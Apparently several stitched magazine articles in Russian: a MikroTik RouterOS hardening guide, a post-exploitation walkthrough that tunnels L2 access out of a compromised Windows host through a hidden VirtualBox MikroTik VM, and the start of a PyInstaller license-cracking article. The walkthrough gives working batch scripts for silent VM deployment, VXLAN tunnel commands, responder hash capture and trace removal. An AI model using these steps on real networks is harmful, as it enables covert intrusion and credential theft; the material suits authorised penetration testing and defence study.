смотрю основные концепции сетевой @wearecaster

безопасности RouterOS с уклоном в защиту


от спуфинга, обработку трафика и атаки
на панели управления.

Это ни в коем случае не полноценный мануал


по безопасности сетей с MikroTik, и наоборот —
не все из приведенных примеров применишь
на другом оборудовании.

Надежно защитить сеть получится, только если понимать всю ее картину


и уметь интегрировать функции безопасности так, чтобы они работали кор-
ректно и не нарушали нормальную работу. В этом и есть сложность сетевой
безопасности. Сети — основа любых современных организаций, и к работе
с ними нужно подходить осторожно.

ÍÅÈÑÏÎËÜÇÓÅÌÛÅ ÈÍÒÅÐÔÅÉÑÛ

Одно из главных правил хорошего тона — выключать неиспользуемые


интерфейсы. Это снижает вероятность несанкционированного подключения.
Соблюсти это правило очень просто:

[caster@MikroTikDaymare] /interface/ethernet> set etherX disabled=yes

Все примеры я буду демонстрировать


на RouterOS версии 7, последней на момент
написания статьи.

DISCOVERY-ÏÐÎÒÎÊÎËÛ

Discovery-протоколы (DP) уязвимы к двум offensive-векторам:


• Information Gathering — атакующий может извлечь чувствительную
информацию против оборудования, рассылающего DP в свои порты;
• Neighbor Table Overflow — атакующий может выполнить переполнение
таблицы соседей в контексте протоколов CDP/LLDP, что перегружает про-
цессор устройства, а это приводит к DoS. Атака основана на создании
ложных DP-кадров и массовой рассылке с прицелом на порт RouterOS.

Лучшая практика — ограничить работу этих протоколов, то есть оставить их


только на тех интерфейсах, где это необходимо. Тогда оборудование
не будет лишний раз распространять информацию о себе там, где это не
нужно.

[caster@MikroTikDaymare] > /ip/neighbor/discovery-settings/set discover-


interface-list=<your interface list> protocol=cdp,lldp,mndp

ÁÅÇÎÏÀÑÍÎÑÒÜ WINBOX ÍÀ L2

Winbox может работать на уровне L2, то есть сетевой инженер может обра-
титься к RouterOS, минуя сетевой уровень. За это отвечает именно MAC
Winbox Server, позволяющий подключиться к Winbox без IP-адресации.
По умолчанию MAC Winbox Server доступен на всех интерфейсах, и это
нехорошо. Для повышения безопасности рекомендуется разрешить исполь-
зовать его только на определенных интерфейсах.
Пример: я разрешаю MAC Winbox Server только на внутреннем LAN-листе,
где находится LAN-мост для работы внутри сети.

[caster@MikroTikDaymare] /tool/mac-server> set allowed-interface-list=


<interface_list>

Разрешай MAC Winbox Server там, где тебе нужно.

DHCP SNOOPING

DHCP Snooping — это функция безопасности, которая предотвращает атаку


DHCP Spoong. Атака работает следующим образом: злоумышленник внутри
сети поднимает ложный DHCP-сервер для последующей MITM-атаки.
По DHCP может передаваться адрес шлюза по умолчанию, и этим адресом
может быть хост атакующего.
DHCP Snooping работает по принципу доверенных и недоверенных пор-
тов. На недоверенных портах будут отслеживаться все DHCP-сообщения.
Цель в том, чтобы проверить, сгенерированы ли они DHCP-сервером. Ведь
если в пользовательском сегменте мы будем видеть сообщения вроде
DHCPLEASEQUERY, DHCPOFFER и DHCPACK, то это однозначно аномалия и в
пользовательской сети находится DHCP-сервер. На доверенных же портах
все DHCP-сообщения будут считаться легитимными. Обычно доверенные
порты настраиваются на соединениях между коммутаторами и маршрутиза-
торами, а недоверенные конфигурируются на портах, куда подключаются
конечные станции (например, компьютер, принтер, точки доступа, VoIP).

Подробнее о защите от спуфинга ты найдешь


в моей статье «Save Me. Защищаем сети от спу-
финг-атак».

В RouterOS DHCP Snooping включается именно на bridge, где все порты


устройства уже будут считаться недоверенными. Но чтобы переключить нуж-
ный порт, тебе понадобится переходить в настройки самого интерфейса.
DHCP Snooping требует вдумчивой настройки, в ходе которой нужно будет
отталкиваться от особенностей инфраструктуры.

В DHCP Snooping может использоваться Option


82. Это возможность протокола DHCP, которая
применяется для оповещения сервера DHCP
о том, с какого порта поступил DHCP-запрос. Так-
же передается информация об использовании
DHCP Relay. Некоторые специфические сценарии
требуют Option 82, так что при необходимости
включай ее. На сайте MikroTik есть страница
о настройке Snooping, где учтен сценарий
с использованием «Опции 82».

Включаем DHCP Snooping на bridge:

[caster@MikroTikDaymare] > /interface/bridge/set dhcp-snooping=yes <your


bridge name>

Назначаем доверенный порт в контексте DHCP Snooping:

[caster@MikroTikDaymare] /interface/bridge/port> set trusted=yes


interface=<interface> bridge=<your bridge name> numbers=<interface
number on bridge>

На этом конфигурация DHCP Snooping завершена, на недоверенных портах


будут отсекаться служебные DHCP-сообщения, которые обычно используют-
ся именно DHCP-сервером. Поскольку при атаке злоумышленник должен
навязать свой адрес в качестве шлюза сообщением DHCPOFFER, эти настрой-
ки помогают полностью предотвратить ее. Однако будь осторожен с настрой-
ками, чтобы не вызвать непреднамеренный DoS.

ÍÀÑÒÐÎÉÊÀ ÔÀÉÐÂÎËÀ

Firewall в RouterOS — это подсистема, которая отвечает за обработку и филь-


трацию всех пакетов. К настройке файрвола, на мой взгляд, должно быть осо-
бое отношение, потому что от нее зависит и производительность устройства,
и уровень безопасности.
Мы не будем здесь подробно рассматривать все возможности файрвола
в RouterOS. Их много, и они могут быть крайне полезными и мощными. Но им
посвящено множество статей и справочных текстов. На «Хакере», к примеру,
можешь почитать статьи «Стена огня. Учимся настраивать файрвол на при-
мере MikroTik» и «Стена огня lvl2. Настраиваем файрвол для отражения атак
на примере MikroTik».
Мы же остановимся только на важных моментах, связанных с защитой
от продвинутых атак.

Êîððåêòíàÿ îáðàáîòêà òðàôèêà


В RouterOS маршрутизируется весь трафик: используется концепция «раз-
решено всё, что не запрещено». Трафик обрабатывается сверху вниз по пра-
вилам. Лучшей практикой считается устанавливать в начале настроек фай-
рвола правила в цепочках INPUT/Forward, которые разрешают соединения
Established/Related и отбрасывают соединения Invalid. Кстати говоря, именно
благодаря механизму Connection Tracking достигается отслеживание соеди-
нений по их состоянию.

[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=


accept connection-state=established,related log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input action=
drop connection-state=invalid log=no log-prefix=""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward
action=accept connection-state=established,related log=no log-prefix=
""
[caster@MikroTikDaymare] /ip/firewall/filter> add chain=forward
action=drop connection-state=invalid log=no log-prefix=""

Àêêóðàòíàÿ ðàáîòà ñ ICMP


Также стоит разрешить работу протокола ICMP и при этом с небольшим огра-
ничением на число пакетов в секунду, чтобы избежать потенциального DDoS
по протоколу ICMP. Часто весь трафик ICMP блокируют на внешнем перимет-
ре, однако это может повлиять на работу PMTUD, который помогает бороться
с избыточной фрагментацией при нестандартных значениях MTU.

[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input


action=accept protocol=icmp in-interface-list=<WAN_Interface>
limit=50/5s,2:packet log=no log-prefix=""

TTL Shift
Если твое оборудование выступает прокси-сервером и есть необходимость
скрыть его IP-адрес из трассировки, то нужно в таблице Mangle в цепочке
PREROUTING смещать TTL с инкрементом +1:

[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting


action=change-ttl new-ttl=increment:1 passthrough=yes in-interface=
<internal_interface_for_ttl_shift> log=no log-prefix=""

Ðèñê DNS-ôëóäà
Следи за тем, чтобы наружу не торчал порт протокола DNS, на который может
прилететь потенциальный DDoS. Нередко случается так, что именно по DNS
приходит DDoS-атака на MikroTik. Очень часто бывает, что в настройках DNS
на MikroTik стоит галочка Allow Remote Requests, которая позволяет RouterOS
быть DNS-сервером. Обычно это встречается для внутренней инфраструк-
туры, но порт может торчать и на внешнем интерфейсе, смотрящем в сторону
интернета.

Drop All Other


В конце списка правил файрвола всегда должен стоять запрет Drop All Other
для внешнего интерфейса RouterOS (того, который смотрит именно в сторону
интернета; RouterOS не различает внутренние и внешние интерфейсы). Оно
будет запрещать все неразрешенные подключения к маршрутизатору, однако
позаботься о том, чтобы сверху были все необходимые правила для твоих
протоколов, тогда финальное правило не будет нарушать сетевую связность.
Правило Drop All Other должно идти в конце списка правил абсолютно любого
файрвола.

[caster@MikroTikDaymare] /ip/firewall/filter> add chain=input


action=drop in-interface=<WAN_Interface> log=no log-prefix=""

ÄÈÍÀÌÈ×ÅÑÊÀß ÌÀÐØÐÓÒÈÇÀÖÈß

Безопасность протоколов динамической маршрутизации (Dynamic Routing


Protocols, DRP) имеет особое значение, поскольку малейшее воздействие
на AS частично парализует внутреннюю сеть. К тому же на домен динамичес-
кой маршрутизации возможны различные атаки, к которым нужно быть
готовым. Дальше речь пойдет о безопасности именно протокола OSPF (Open
Shortest Path First), который поддерживается RouterOS.

Ïàññèâíûå èíòåðôåéñû
Настройка пассивных интерфейсов для динамической маршрутизации поз-
воляет роутеру запретить рассылать объявления через некоторые интерфей-
сы. По умолчанию без настройки пассивных интерфейсов он рассылает объ-
явления во все интерфейсы, а это подвергает домен маршрутизации боль-
шому риску.
Ниже параметр passive указывает на пассивный интерфейс.

[caster@MikroTikDaymare] /routing/ospf/interface-template> add


interfaces=<interface> passive area=backbone

Êðèïòîãðàôè÷åñêàÿ àóòåíòèôèêàöèÿ
Применение аутентификации в доменах маршрутизации позволяет сделать
так, чтобы подключаться к ним могли только авторизованные маршрутиза-
торы. Однако аутентификация настраивается с помощью паролей. Так что
обязательно нужно позаботиться о том, чтобы эти пароли были достаточно
стойкими. Если злоумышленник получит значение хеша из дампа трафика, то
он может попытаться вскрыть пароль перебором. А с паролем он уже без тру-
да подключится к домену маршрутизации.
Настройка ниже использует SHA-384. Кстати говоря, Ettercap сможет
выдернуть любой MD5/SHA-хеш, что даст атакующему возможность поп-
робовать сбрутить пароль от домена OSPF. Опять же следи за стойкостью
парольной фразы.

[caster@MikroTikDaymare] /routing/ospf/interface-template> set


auth=sha384 auth-key=<auth_key> auth-id=<auth_id> numbers=X

ÁÅÇÎÏÀÑÍÎÑÒÜ ÑÈÑÒÅÌÛ ÐÅÇÅÐÂÈÐÎÂÀÍÈß VRRP

Безопасность системы горячего резервирования VRRP может быть под угро-


зой, так как атакующий может провести FHRP Master-спуфинг и MITM-атаку.
Ввиду особенностей работы VRRP здесь невозможно установить приори-
тет 255, поэтому придется действовать более жестко. Есть два действенных
способа.
Способ первый — криптографическая аутентификация. Она защищает
домен VRRP с помощью специальной парольной фразы, не зная которую ата-
кующий не проведет спуфинг. Опять же нужно позаботиться, чтобы ключ
аутентификации был устойчив к брутфорсу. В RouterOS для защиты VRRP
используется протокол из репертуара IPSec — AH. Уточнив у разработчиков
RouterOS, я узнал, что его реализация в RouterOS основана на HMAC-MD5.

[caster@MikroTikDaymare] /interface/vrrp> add interface=<interface>


priority=<priority_value> version=2 vrid=<group_id_number>
authentication=ah password

Второй способ — фильтрация средствами файрвола. Для VRRPv3 аутен-


тификация больше не поддерживается, однако с этим нужно тоже что-то
делать. С помощью таблиц Mangle и Raw можно заранее разрешить VRRP
с легитимных VRRP-маршрутизаторов, а затем блокировать остальные VRRP-
пакеты. Этот вариант даст наименьшую нагрузку на процессор. Получится,
что в разрешаемых правилах нет адреса атакующего хоста, поэтому любые
его попытки провести атаку на домен VRRP будут тщетны.

[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting


action=accept protocol=vrrp src-address=<first_vrrp_speaker_ip> in-
interface=<interface> log=no log-prefix=""

[caster@MikroTikDaymare] /ip/firewall/mangle> add chain=prerouting


action=accept protocol=vrrp src-address=<second_vrrp_speaker_ip> in-
interface=<interface> log=no log-prefix=""

[caster@MikroTikDaymare] /ip/firewall/raw> add chain=prerouting


action=drop in-interface=<interface> log=no log-prefix="" protocol=vrrp

Ïðîáëåìà ïñåâäîáàëàíñèðîâêè
VRRP, конечно, обеспечивает отказоустойчивость, однако по факту в логичес-
кой группе работает только один маршрутизатор, когда остальные пребыва-
ют в режиме ожидания.
Если в твоей сети несколько устройств с RouterOS и несколько сегментов
VLAN, ты можешь задействовать все RouterOS в твоей сети, например:
• RouterOS1 будет MASTER за VLAN 120 и VLAN 140, а за VLAN 180 и VLAN
220 он будет BACKUP;
• RouterOS2 будет MASTER за VLAN 180 и VLAN 220, за VLAN 120 и VLAN
140 он будет BACKUP. То есть конфигурация зеркальна RouterOS1.

Этот прием называется псевдобалансировкой. Конечно, тут нет того же round


robin, но хотя бы все роутеры в домене VRRP будут работать. Для MASTER —
приоритет 200, для BACKUP — 90. Цифры и VLAN ID я взял из головы
для симуляции такого сценария.
Настраиваем RouterOS1:

[caster@RouterOS1] /interface/vrrp> add interface=vlan120 name=vrrp120


priority=254 vrid=120

[caster@RouterOS1] /interface/vrrp> add interface=vlan140 name=vrrp140


priority=254 vrid=140

[caster@RouterOS1] /interface/vrrp> add interface=vlan180 name=vrrp180


preemption-mode=no priority=90 vrid=180

[caster@RouterOS1] /interface/vrrp> add interface=vlan220 name=vrrp220


preemption-mode=no priority=90 vrid=220

И RouterOS2:

[caster@RouterOS2] /interface/vrrp> add interface=vlan120 name=vrrp120


preemption-mode=no priority=90 vrid=120

[caster@RouterOS2] /interface/vrrp> add interface=vlan140 name=vrrp140


preemption-mode=no priority=90 vrid=140

[caster@RouterOS2] /interface/vrrp> add interface=vlan180 name=vrrp180


priority=254 vrid=180

[caster@RouterOS2] /interface/vrrp> add interface=vlan220 name=vrrp220


priority=254 vrid=220

Таким образом возникает псевдобалансировка. Два RouterOS настроены


зеркально, они оба готовы к замене вышедшего из строя MASTER-роутера.
При этом задействуются все мощности внутри сегмента, второстепенное
оборудование не будет простаивать. Также учитывай, что в RouterOS
PREEMPT-режим включен по умолчанию, он позволяет упавшему ранее
MASTER-роутеру вернуть себе эту роль, когда его заменил один из BACKUP-
роутеров. Для бэкап-роутеров, соответственно, PREEMPT выключается

ÁÅÇÎÏÀÑÍÎÑÒÜ ÄÅÐÅÂÀ STP

STP (Spanning Tree Protocol) — это L2-протокол, защищающий компьютерную


сеть от широковещательных штормов путем блокировки избыточных
физических соединений. Дело в том, что у Ethernet-кадров нет поля TTL,
и широковещательный трафик будет бесконечно бегать по канальным соеди-
нениям, если возникнет коммутационная петля. Протокол работает исклю-
чительно на канальном уровне, и для общения используются фреймы BPDU
802.3. Обычно на управляемых коммутаторах STP включен по умолчанию.
Однако атакующий может отправить в сторону коммутатора STP BPDU-
кадр с наименьшим значением приоритета, что даст ему шанс перехватить
роль корневого коммутатора. Такой ход событий приводит либо к частичной
MITM-атаке, либо к DoS.
Защититься от спуфинга в дереве STP можно при помощи BPDU Guard.
Этот механизм будет блокировать порт, если на него придет BPDU-кадр,
который обычно используется только для согласования между коммутато-
рами в домене STP. Именно благодаря рассылке BPDU с наименьшим зна-
чением приоритета атакующий может перехватить роль корневого ком-
мутатора, тем самым осуществив частичную MITM-атаку.
BPDU Guard настраивается именно на портах, которые находятся под мос-
том.

[caster@MikroTikDaymare] /interface/bridge/port> set bpdu-guard=yes


interface=<interface> bridge=<bridge> numbers=X

Вот и вся настройка. BPDU Guard в этом плане не доставляет хлопот.

Îñòîðîæíîñòü ïðè âûáîðå STP Root


Корневым коммутатором STP обычно становится коммутатор с наименьшим
MAC-адресом. Ты должен учитывать этот аспект, потому что, если корневым
коммутатором станет какой-нибудь старый D-Link, это может сказаться
на производительности сети. Также бывают случаи, когда по STP блокируются
линки, идущие в сторону маршрутизаторов FHRP Master, тогда трафик может
начать идти не по оптимальному пути. Настраивай коммутатор STP Root (и
STP Root Secondary) с учетом особенностей инфраструктуры.

ÁÅÇÎÏÀÑÍÎÑÒÜ ÏÀÍÅËÈ ÓÏÐÀÂËÅÍÈß (MGMT)

Çàùèòà RMI
MGMT — это специальные интерфейсы управления, которые позволяют нас-
траивать устройство. В RouterOS для этого используются следующие службы:
• Telnet (TCP/23);
• API (TCP/8728);
• API-SSL (TCP/8729);
• SSH (TCP/22);
• HTTP (TCP/80);
• HTTPS (TCP/443);
• Winbox (TCP/8291).

Для панелей управления необходимо установить ограничение: доступ только


из администраторской подсети. Это позволяет предотвратить попытки брут-
форса учетных данных из остальных подсетей, так как все подключения
из других сетей будут отброшены.

[caster@MikroTikDaymare] /ip/service> set address=<MGMT Subnet


Address/24> <protocol_name>

Однако даже в администраторской подсети есть вероятность брутфорса,


если один из компьютеров администратора будет заражен трояном. На этот
случай можно дополнительно усилить защиты следующим образом:
• добавить цепочки правил для предотвращения брутфорса в таблицы
Mangle/Raw;
• использовать только протокол SSH и аутентификацию по ключу;
• сменить номера портов (это, конечно, не полная мера безопасности,
но может усложнить поиск порта управления оборудованием);
• если не используются API/API-SSL, то их лучше выключить, по ним тоже
возможен брутфорс.

Çàùèòà ó÷åòíûõ çàïèñåé íà îáîðóäîâàíèè


На своем оборудовании придерживайся концепции наименьших привилегий,
не разбрасывайся full-учетками на железе и следи, у какого инженера какой
доступ к оборудованию и какие возможности для настройки. Также для опти-
мизации управления учетками можно поднять AAA-сервер, где учетные
записи будут храниться централизованно и ими легко будет управлять.

ÂÛÂÎÄÛ

На этом моя статья подходит к концу. Это не полный мануал по безопасности


MikroTik, однако я старался акцентировать внимание на критических механиз-
мах безопасности, к которым должно быть особое отношение в корпоратив-
ных сетях. Именно неверные настройки безопасности внутри сети создают
большее число проблем. Полагаю, так происходит из-за халатности сетевых
инженеров. Оно и понятно: сети, бывает, не меняются десятилетиями, и об
отсутствии нужных настроек просто забывают.
Системы RouterOS и Switch OS, которые используются в оборудовании
MikroTik, тоже еще далеки от идеала. В них отсутствуют такие механизмы,
как DAI, RA Guard, SAVI, Port Security. Продукты MikroTik очень популярны,
однако у их разработчиков есть еще огромное поле для деятельности.
Думаю, в ближайшем будущем я выпущу вторую часть этой работы, где
разберу еще больше аспектов безопасности MikroTik.
COVERSTORY

ИСПОЛЬЗУЕМ
ВИРТУАЛЬНЫЙ MIKROTIK
ДЛЯ ПОСТЭКСПЛУАТАЦИИ
WINDOWS

Недавно я нашел новый способ организа-


ции L2-туннелирования против сетей
Windows. Вдохновившись идеей пингви-
на-супершпиона, я продемонстрирую пос-
тэксплуатацию Windows с помощью вир- Caster
Network Security Expert
туального MikroTik CHR, который позволит @wearecaster

провести пивотинг и получить L2-доступ


к целевой сети.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

17 июня 2020 года в «Хакере» вышла статья Андрея Жукова (@s0i37)


про интересный способ постэксплуатации Windows: для дальнейшего прод-
вижения по сети и перехвата учетных данных внутри создается виртуальная
машина на Linux. Для достижения своей цели Андрей использовал VirtualBox
в silent-режиме. Основная идея в том, чтобы виртуальная машина на Linux
работала в режиме моста, причем в сам мост на Linux помещается
интерфейс, который смотрит в сторону реальной ОС. Так у этой машины
появляется L2-доступ, который открывает возможности для атак канального
уровня, таких как ARP-спуфинг или LLMNR/NBNS-спуфинг. Важный момент:
эта техника требует прав администратора на скомпрометированной Windows-
машине.

CASTER REMIX

Я вдохновился идеей s0i37, когда пытался найти новые способы L2-тун-


нелирования против Windows. Мне пришла в голову мысль запустить вир-
туальный роутер MikroTik CHR внутри реальной Windows с помощью
VirtualBox.
CHR (Cloud Hosted Router) — это виртуальный маршрутизатор MikroTik,
который можно установить с помощью технологий виртуализации. И у него
тоже есть возможность деплоя на VirtualBox. Я выбрал именно его, так
как RouterOS 7 — очень гибкий и многофункциональный инструмент. В нем
есть необходимый VXLAN, который работает стабильно. На основе идеи
s0i37 я придумал следующую концепцию:
• деплой CHR внутри Windows при постэксплуатации;
• сетевая настройка CHR в режиме bridge в VBOX;
• создание полноценного L2-туннеля с VXLAN, бриджинг интерфейсов
и получение доступа.

Схема исследования

Этот вектор работает корректно только


для реальных физических машин, так как при экс-
плуатации виртуальных машин могут возникнуть
проблемы с прохождением трафика из-за того,
что на интерфейсе скомпрометированной вир-
туалки может не быть неразборчивого режима.

Я построил достаточно небольшую сеть для демонстрации ремикса, но мой


метод может работать из любой точки сетевой инфраструктуры, так
как Ethernet-фреймы в туннеле будут передаваться поверх L3-соединений
с помощью VXLAN-туннелирования.

CHR DEPLOY

MikroTik CHR мы используем в качестве L2-шлюза, но он будет работать


на основе VirtualBox. Вот только VirtualBox нужно каким-то образом уста-
новить на целевой хост, а при этом не всегда есть возможность обеспечить
себя графической оболочкой. Я предусмотрел этот сценарий и нашел способ
«тихой» установки VirtualBox, а также способ организации виртуальной
машины.
Сама VirtualBox в silent-режиме устанавливается таким образом (я исполь-
зую версию 7.0.8):

C:\remix>VirtualBox-7.0.8-156879-Win.exe -s

Теперь создаем виртуальную машину CHR. Если нет GUI, это можно сделать
с помощью VBoxManage.exe. Сама версия CHR — 7.10.2.
Я приготовил специальный bat-файл для автоматизации процесса. Прошу
заметить, что я использую образ диска VDI, который буду подключать к соз-
данной виртуальной машине. Образы VDI обычно скачиваются с официаль-
ного сайта MikroTik.
Я все настраиваю так, чтобы машина работала в режиме моста с нераз-
борчивым режимом. При настройке сети тебе понадобится установить точ-
ное имя интерфейса в ОС, но его легко узнать с помощью команды Get-
NetAdapter в оболочке PowerShell.

C:\remix>remix.bat

remix.bat
@echo off

set VMNAME=CasterRemix
set VMMEMORY=512
set VMCPUS=2
set VMDISK=C:\remix\chr-7.10.2.vdi
set VMNIC1=bridged
set VMADAPTER1="Intel(R) Wi-Fi 6 AX201 160MHz"
set VMPROMISC1=allow-all

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" createvm --name


"%VMNAME%" --register
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm
"%VMNAME%" --memory %VMMEMORY% --cpus %VMCPUS%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storagectl
"%VMNAME%" --name "SATA Controller" --add sata --controller IntelAHCI
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" storageattach
"%VMNAME%" --storagectl "SATA Controller" --port 0 --device 0 --type
hdd --medium "%VMDISK%"
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm
"%VMNAME%" --nic1 %VMNIC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm
"%VMNAME%" --bridgeadapter1 %VMADAPTER1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyvm
"%VMNAME%" --nicpromisc1 %VMPROMISC1%
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" startvm
"%VMNAME%" --type headless

Параметр --headless указывает на то, что виртуальная машина запустится


в тихом режиме, чтобы не привлечь лишнее внимание пользователя.
После запуска CHR маршрутизатор получит адрес автоматически, так
как это заложено в его конфигурации по умолчанию. Но нам необходимо най-
ти сам адрес маршрутизатора. Это можно сделать, например, с помощью
классического сканирования портов TCP/22, TCP/8291 в сети 192.168.1.0/24,
где запущен сам CHR в бридже. В моем случае адрес — 192.168.1.36.
Теперь подключимся к панели управления CHR (например, по SSH
или Winbox) и сделаем начальную настройку. Нам понадобиться
• выключить протоколы обнаружения соседей (Discovery Protocols);
• выключить протоколы STP, чтобы не нарушить работу легитимного дерева
STP;
• задать имя системы в CHR (hostname);
• создать специальный бридж, переместить туда интерфейс, настроить
работу /ip/dhcp-client для сохранения связности с CHR. Когда
интерфейс помещается в бридж, он подчиняется бриджу, и для даль-
нейшей связи адрес нужен именно на бридже. Несмотря на изменение
настройки /ip/dhcp-client, адрес CHR останется таким же.

[admin@MikroTik] > /interface/bridge/add name=bridge1;


/interface/bridge/set protocol-mode=none numbers=0;
/interface/bridge/port add interface=ether1 bridge=bridge1;
/ip dhcp-client/remove 0;
/ip/dhcp-client/add interface=bridge;
/ip/neighbor/discovery-settings/set discover-interface-list=none;
/system/identity/set name=CasterRemix

[admin@CasterRemix] >

Также важно, что все это нужно сделать одной командой, иначе навсегда уте-
ряешь доступ к CHR на уровне сети и придется начинать заново.

VXLAN-ÒÓÍÍÅËÈÐÎÂÀÍÈÅ

В качестве протокола туннелирования я выбрал VXLAN. Он позволяет переда-


вать L2-фреймы поверх протокола UDP (порт по умолчанию UDP/4789), то
есть предоставляет возможность организовать L2-туннель между атакующей
системой и CHR.
Наша цель — сеть 192.168.1.0/24, к которой получим L2-доступ.

Лабораторная сеть

Между атакующим и MikroTik будет создан туннель VXLAN, причем они будут
устройствами VTEP и станут работать в режиме точка — точка (point-to-point),
без объявлений MCAST. VTEP (Virtual Tunnel Endpoint) — устройства,
на которых строится и терминируется туннель VXLAN, они занимаются
инкапсуляцией и деинкапсуляцией VXLAN-заголовков.

Пример инкапсулированной с помощью VXLAN полезной нагрузки

Важно, чтобы перед настройкой был явный маршрут /32 до CHR через шлюз,
с которым будет инициирован туннель. Иначе созданный туннель может
перекрыть достижимость до CHR, что вызовет разрыв туннеля. Маршрут соз-
дается через шлюз по умолчанию для атакующего (в случае данной лабора-
торной сети — 172.10.200.254).

caster@kali:~$ sudo ip route add 192.168.1.36/32 via 172.10.200.254

На стороне атакующего туннель VXLAN будет построен между адре-


сами 172.10.200.252 и 192.168.1.36 (Attacker → CHR), идентификатор тун-
неля (VNI) — 10.

caster@kali:~$ sudo ip link add name evilvxlan type vxlan id 10


local 172.10.200.252 remote 192.168.1.36 dstport 4789
caster@kali:~$ sudo ip link set evilvxlan up

На стороне CHR (RouterOS v7) тоже необходимо, чтобы созданный


интерфейс VXLAN на CHR был помещен в бридж, где находится интерфейс,
смотрящий в сторону реальной ОС (ether1), так как CHR на уровне VirtualBox
находится в режиме моста.

[admin@CasterRemix] > /interface/vxlan add name=vxlan1 port=4789 vni=


10
[admin@CasterRemix] > /interface/vxlan/vteps interface=vxlan1 remote-
ip=172.10.200.252 port=4789
[admin@CasterRemix] > /interface/bridge/port add interface=vxlan1
numbers=0

Карта VXLAN-туннелирования

После применения этой конфигурации туннель VXLAN будет построен сог-


ласно схеме выше.

Связь атакующего с целевой сетью по L2

ÀÒÀÊÀ

Теперь атакующий должен получить адрес на интерфейсе evilvxlan, и L2-дос-


туп будет обеспечен! Открываются возможности для атак канального уровня.
Также по DHCP может прилететь второй шлюз, заданный по умолчанию, что
разорвет туннель. Так что будь осторожен. Я, чтобы избежать этой проблемы,
использую команду sudo route del default.

caster@kali:~@ sudo dhclient -v evilvxlan; sudo route del default


caster@kali:~@ sudo responder -I evilvxlan -vvv

Ниже — пример отработавшей внутри VXLAN-туннеля утилиты responder


и отравление запросов LLMNR/NBNS/MDNS.

NetNTLMv2-SSP-хеш пользователя darkstep

ÇÀ×ÈÑÒÊÀ

Когда понадобится затереть следы, необходимо выключить и удалить соз-


данную виртуалку с MikroTik CHR. Также нужно удалить саму VirtualBox. Естес-
твенно, в silent-режиме.

delete-remix.bat
@echo off

set VMNAME=CasterRemix

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" controlvm


"%VMNAME%" poweroff
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" unregistervm
"%VMNAME%" --delete
wmic product where name="Oracle VM VirtualBox 7.0.8" call uninstall /
nointeractive
rmdir /s /q c:\remix

ÂÛÂÎÄÛ

Итак, я продемонстрировал технику L2-туннелирования против машин


Windows. Метод специфический, но, на мой взгляд, вполне практичный.
Эту статью я хочу посвятить ушедшему из жизни Киту Флинту, фронтмену
группы The Prodigy, которая выпустила песню Omen.

Эта песня была для меня вдохновением по ходу работы и даже немало пов-
лияла на ее стиль.
ВЗЛОМ

ВСКРЫВАЕМ И ПОТРОШИМ
PYINSTALLER

Человечество породило целый зоопарк


скриптовых языков с низким порогом вхож-
дения в попытке облегчить всем желающим
«вкатывание в айти» сразу после окончания
месячных курсов. Есть мнение, что в этом МВК

зоопарке царем зверей сейчас работает


Python. Эта ползучая рептилия так сильно
опутала своими кольцами IT, что даже ней-
росеть без ее участия теперь ничему
не обучить. А раз так, настало время пре-
парировать этого аспида и посмотреть, что
у него внутри. Начнем с технологии
под названием PyInstaller.

Статья написана в исследовательских целях, име-


ет ознакомительный характер и предназначена
для специалистов по безопасности. Автор
и редакция не несут ответственности за любой
вред, причиненный с применением изложенной
информации. Использование или распростра-
нение ПО без лицензии производителя может
преследоваться по закону.

В качестве примера возьмем некое графическое приложение, для регистра-


ции которого нужно ввести правильный серийник в ответ на предложенный
программой код оборудования. При неправильном вводе приложение отве-
чает ругательным сообщением «No valid license code». Detect It Easy уверенно
подсказывает, что это наш пациент.

Исследование приложения мы начинаем по стандартной схеме. Поиск


сопутствующих текстовых строк в exe-файле не дает результата: исполня-
емый код и данные явно упакованы или закриптованы. Загрузка приложения
в IDA косвенно это подтверждает, exe-файл представляет собой загрузчик
для обширного самораспаковывающегося файлового пакета.

Попробуем загрузить программу в наш любимый отладчик x64dbg.


По счастью, приложение совершенно не сопротивляется этому, нормально
загружается и прерывается по первому требованию. Слегка попрыгав по коду
трассировщиком, сразу натыкаемся на участок, сильно смахивающий
на интерпретатор шитого пи-кода:

07FF9AE401274 | 49:8BC7 | mov rax,r15


07FF9AE401277 | 49:2BC1 | sub rax,r9
07FF9AE40127A | 48:D1F8 | sar rax,1
07FF9AE40127D | 03C0 | add eax,eax
07FF9AE40127F | 41:8945 68 | mov dword ptr ds:[r13+68],eax
07FF9AE401283 | 837A 44 00 | cmp dword ptr ds:[rdx+44],0
07FF9AE401287 | 0F85 85A71200 | jne python39.7FF9AE52BA12
07FF9AE40128D ; edi — байт-код текущей команды
07FF9AE40128D | 41:0FB73F | movzx edi,word ptr ds:[r15]
07FF9AE401291 | 4D:8BF4 | mov r14,r12
07FF9AE401294 | 40:0FB6F7 | movzx esi,dil
07FF9AE401298 | C1EF 08 | shr edi,8
07FF9AE40129B | 49:83C7 02 | add r15,2
07FF9AE40129F | 4C:8965 C8 | mov qword ptr ss:[rbp-38],r12
07FF9AE4012A3 | 4C:897D B0 | mov qword ptr ss:[rbp-50],r15
07FF9AE4012A7 | 66:0F1F8400 00000000| nop word ptr ds:[rax+rax],ax
07FF9AE4012B0 | 8D46 FF | lea eax,qword ptr ds:[rsi-1]
07FF9AE4012B3 | 3D A4000000 | cmp eax,A4
07FF9AE4012B8 | 0F87 85E21200 | ja python39.7FF9AE52F543
